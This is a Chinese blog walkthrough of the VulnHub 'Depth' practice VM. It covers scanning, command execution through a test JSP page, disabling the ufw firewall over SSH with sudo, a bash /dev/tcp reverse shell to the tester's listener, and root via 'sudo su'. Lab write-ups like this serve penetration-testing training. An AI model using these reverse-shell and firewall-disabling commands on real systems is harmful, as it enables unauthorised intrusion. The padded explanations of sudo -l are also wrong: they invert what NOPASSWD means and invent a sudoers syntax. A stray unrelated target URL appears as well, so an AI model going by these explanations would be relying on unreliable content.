首页 > 其他分享 >Depth靶机详解

Depth靶机详解

时间:2024-09-16 12:52:23浏览次数:3  
标签:执行 admin sudo 用户 命令 Depth 详解 靶机 权限

靶机下载地址

https://www.vulnhub.com/entry/depth-1,213/

主机发现

arp-scan -l 

端口扫描

nmap -sV -A -T4 192.168.229.156

端口利用

http://192.168.229.156:8080/

目录扫描

dirb "http://192.168.229.156:8080"

dirsearch -u "http://192.168.229.156:8080"

拼接访问

提示我们可以使用命令

http://192.168.229.156:8080/test.jsp

尝试使用命令

ls -la /home

在 Linux 系统中,/home 目录通常包含每个用户的个人目录。使用 ls -la /home 命令可以查看 /home 目录下的内容,包括隐藏文件和目录。

具体的输出内容取决于系统上是否有用户创建了个人目录,以及这些用户是否有特定的权限或属性。

以下是一些常见的输出示例:

drwxr-xr-x 2 user1 users 4096 Sep 13 12:34 user1
drwxr-xr-x 2 user2 users 4096 Sep 12 08:15 user2
drwxr-xr-x 2 user3 users 4096 Sep 11 20:45 user3

其中,每行表示一个目录,其中包含以下信息:

  • 权限:以 drwxr-xr-x 开头,表示目录的权限和属性。
  • 硬链接数:表示目录的硬链接数,通常为 2。
  • 所有者:表示目录的所有者,通常为用户名。
  • 组:表示目录所属的组,通常为组名。
  • 大小:表示目录的大小,以字节为单位。
  • 修改时间:表示目录的最后修改时间。
  • 目录名:表示目录的名称,通常为用户名。

这些信息可以帮助你了解系统上是否有个人目录,以及每个用户的个人目录的权限和属性。

反弹shell

尝试是否可以输入反弹shell命令

开启监听

nc -lvvp 6767

谷歌插件生成命令,IP是kali的ip

bash -i >& /dev/tcp/192.168.229.132/6767 0>&1

反弹失败

查看进程
ps aux

发现开启了ssh服务,之前端口扫描扫不到可能是因为防火墙开启,查看etc
ls -ls /etc

linux防火墙ufw,说明存在防火墙

在 Linux 系统中,/etc 目录通常包含系统配置文件。以下是一些与防火墙相关的文件名:

  • iptables.rules:这是一个常见的文件名,用于保存 iptables 的规则。
  • iptables.up.rules:这是一个文件名,用于保存 iptables 的规则,在系统启动时加载。
  • firewalld.conf:这是一个文件名,用于配置 firewalld 服务的配置文件。
  • ufw.conf:这是一个文件名,用于配置 ufw(Uncomplicated Firewall)的配置文件。
  • ufw.rules:这是一个文件名,用于保存
尝试关闭防火墙

在 Linux 系统中,关闭防火墙的命令可能因不同的发行版而异。以下是一些常见的命令:

  • Ubuntu/Debian 系列:
sudo ufw disable
  • CentOS/Fedora 系列:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
  • Arch Linux:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
  • OpenSUSE:
sudo systemctl stop SuSEfirewall2
sudo systemctl disable SuSEfirewall2

这些命令将关闭系统的防火墙,并禁止防火墙在系统启动时自动启动。

请注意,上述命令需要在具有 root 权限的用户下执行。

执行命令
ssh bill@localhost sudo ufw disable

这个命令的含义是:

  1. 使用 SSH 连接到名为 bill 的用户的本地主机。
  2. 使用 sudo 命令以超级用户权限运行 ufw disable 命令。

具体来说,sudo 命令用于以超级用户权限运行命令,而 ufw disable 命令用于禁用 Uncomplicated Firewall (UFW)。

在实际执行这个命令之前,你需要确保以下条件:

  1. 当前用户有权限使用 SSH 连接到名为 bill 的用户的本地主机。
  2. 名为 bill 的用户具有超级用户权限,即在系统上具有 root 权限。
  3. UFW 服务已经正确安装并在系统上运行。
尝试利用ssh再次反弹shell
开启监听
nc -lvvp 6767

ssh bill@localhost bash -i >& /dev/tcp/192.168.229.132/6767 0>&1

反弹成功

提权

当在Linux或Unix系统中输入sudo -l命令时,会显示当前用户能够使用sudo命令执行的命令列表。

sudo -l命令的作用是列出当前用户能够使用sudo命令执行的命令,而不需要输入密码。当用户尝试使用sudo命令执行某些命令时,系统会检查该用户的权限是否允许执行该命令。如果用户有权限执行该命令,那么sudo命令会允许用户执行该命令,否则会提示用户没有权限执行该命令。

sudo -l命令可以帮助用户了解当前用户的权限范围,以便更好地使用sudo命令执行命令。

例如,如果当前用户是admin用户,并且想要查看admin用户能够使用sudo命令执行的命令,可以输入以下命令:

sudo -l

如果输出显示admin用户有权限执行某些命令,那么说明admin用户可以使用sudo命令执行这些命令,而不需要输入密码。

如果输出显示admin用户没有权限执行任何命令,那么说明admin用户没有任何使用sudo命令执行命令的权限,或者系统配置了禁止使用sudo命令执行某些命令的策略。

sudo -l命令的输出结果可能包括以下几种情况:

  1. 显示当前用户能够使用sudo命令执行的命令列表,例如:
(admin) ALL = (ALL) ALL

表示admin用户可以使用sudo命令执行所有命令,并且不需要输入密码。

  • 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,例如:
(admin) ALL = (ALL) NOPASSWD: ALL

表示admin用户可以使用sudo命令执行所有命令,但是需要输入密码。

  • 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,并且只有在特定时间段内才可以执行,例如:
(admin) ALL = (ALL) NOPASSWD: ALL, !/usr/bin/passwd

表示admin用户可以使用sudo命令执行所有命令,但是需要输入密码,并且除了执行/usr/bin/passwd命令外,其他命令都可以不输入密码。

  • 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,并且只有在特定时间段内才可以执行,并且需要输入特定的密码,例如:
(admin) ALL = (ALL) PASSWD: ALL, !/usr/bin/passwd

表示admin用户可以使用sudo命令执行所有命令,并且需要输入密码,并且除了执行/usr/bin/passwd命令外,其他命令都需要输入特定的密码。

需要注意的是,sudo -l命令只会显示当前用户能够使用sudo命令执行的命令列表,而不包括其他用户的权限设置。如果想要查看其他用户的权限设置,需要使用sudo命令进行操作,并且需要其他用户的密码。

因此,sudo -l命令是一个非常有用的命令,可以帮助用户了解当前用户的权限范围,以便更好地使用sudo命令执行命令。

如果没有输出结果或者显示没有权限,那么表明当前用户没有任何使用sudo命令执行命令的权限,或者系统配置了禁止使用sudo命令执行某些命令的策略。

sudo -l

根据提供的信息,我们能够得知以下内容:

  1. 目标 URL 是 https://example.com/api/search
  2. 使用 sudo -l 命令的输出显示,用户 bill 可以以任何用户身份运行任何命令,包括 root 用户。
  3. 用户 bill 可以以超级用户权限运行任何命令,而无需输入密码。

根据这些信息,我们可以尝试以下方法来提权:

  1. 使用 sudo su 命令切换到 root 用户,不需要输入密码。
  2. 使用 sudo -u root 命令以 root 用户的身份执行命令,不需要输入密码。
  3. 使用 sudo bash 命令以 root 用户的身份启动一个新的 Bash 会话,不需要输入密码。
sudo su
whoami
id

提权成功

标签:执行,admin,sudo,用户,命令,Depth,详解,靶机,权限
From: https://blog.csdn.net/a666666688/article/details/142287804

相关文章

  • Dina靶机详解
    靶机下载https://www.vulnhub.com/entry/dina-101,200/靶机配置默认是桥接模式,切换为NAT模式后重启靶机主机发现arp-scan-l端口扫描nmap-sV-A-T4192.168.229.157发现80端口开启,访问访问网站目录扫描pythondirsearch.py-uhttp://192.168.229.157:8......
  • (CS231n课程笔记)深度学习之损失函数详解(SVM loss,Softmax,熵,交叉熵,KL散度)
    学完了线性分类,我们要开始对预测结果进行评估,进而优化权重w,提高预测精度,这就要用到损失函数。损失函数(LossFunction)是机器学习模型中的一个关键概念,用于衡量模型的预测结果与真实标签之间的差距。损失函数的目标是通过提供一个差距的度量,帮助模型进行优化,最终减少预测误差。......
  • MySQL8.0直方图详解
    1、什么是直方图MySQL8.0开始支持索引之外的数据分布统计信息可选项。它就是直方图(Histogram)。直方图通过估算查询谓词的选择率,以便选择合适的执行计划,也让SQL优化有了更多手段。在DB中,优化器负责将SQL转换为很多个不同的执行计划,然后从中选择一个最优的来实际执行。但是有时候优......
  • 常用的运维工具:文件传输工具详解(SCP, SFTP)
    在信息技术(IT)运维中,文件传输是日常工作中不可或缺的一部分。运维工程师需要高效、安全地在不同服务器之间传输文件,以确保系统的正常运行和数据的完整性。本文将详细介绍两种常用的文件传输工具——SCP(SecureCopyProtocol)和SFTP(SecureFileTransferProtocol),帮助读者更好......
  • ICM20948 DMP代码详解(24)
    接前一篇文章:ICM20948DMP代码详解(23) 上一回解析完了inv_icm20948_set_lowpower_or_highperformance函数,本回回到inv_icm20948_initialize_lower_driver函数中,继续往下解析。为了便于理解和回顾,再次贴出inv_icm20948_initialize_lower_driver函数源码,在EMD-Core\sources\Inv......
  • ICM20948 DMP代码详解(23)
    接前一篇文章:ICM20948DMP代码详解(22) 上一回解析完了inv_icm20948_wakeup_mems函数,本回回到inv_icm20948_initialize_lower_driver函数中,继续往下解析。为了便于理解和回顾,再次贴出inv_icm20948_initialize_lower_driver函数源码,在EMD-Core\sources\Invn\Devices\Drivers\IC......
  • python的os模块的常见函数及用途详解
    os模块提供了与操作系统进行交互的功能。它允许你执行许多常见的文件系统任务,如读取目录、处理文件、获取系统信息等。以下是一些os模块中常见的函数及其用途:目录操作os.getcwd():返回当前工作目录的字符串表示。os.listdir(path):返回指定目录下的文件和子目录列表。os.mkdir(......
  • Java零基础-replace(CharSequence target, CharSequence replacement)详解
    哈喽,各位小伙伴们,你们好呀,我是喵手。运营社区:C站/掘金/腾讯云/阿里云/华为云/51CTO;欢迎大家常来逛逛  今天我要给大家分享一些自己日常学习到的一些知识点,并以文字的形式跟大家一起交流,互相学习,一个人虽可以走的更快,但一群人可以走的更远。  我是一名后端开发爱好者......
  • SpringBoot权限认证-Sa-Token的使用与详解
    本文详细介绍了Sa-Token在Java项目中的使用方法,包括Sa-Token的基本概念、与其他权限框架的比较、基本语法和高级用法,并通过实例讲解了如何在项目中集成和使用Sa-Token。作为一款轻量级Java权限认证框架,Sa-Token在简化权限管理、提高开发效率方面发挥了重要作用。本文还将深入探讨Sa......
  • 【MySQL】MySQL索引与事务的透析——(超详解)
    前言......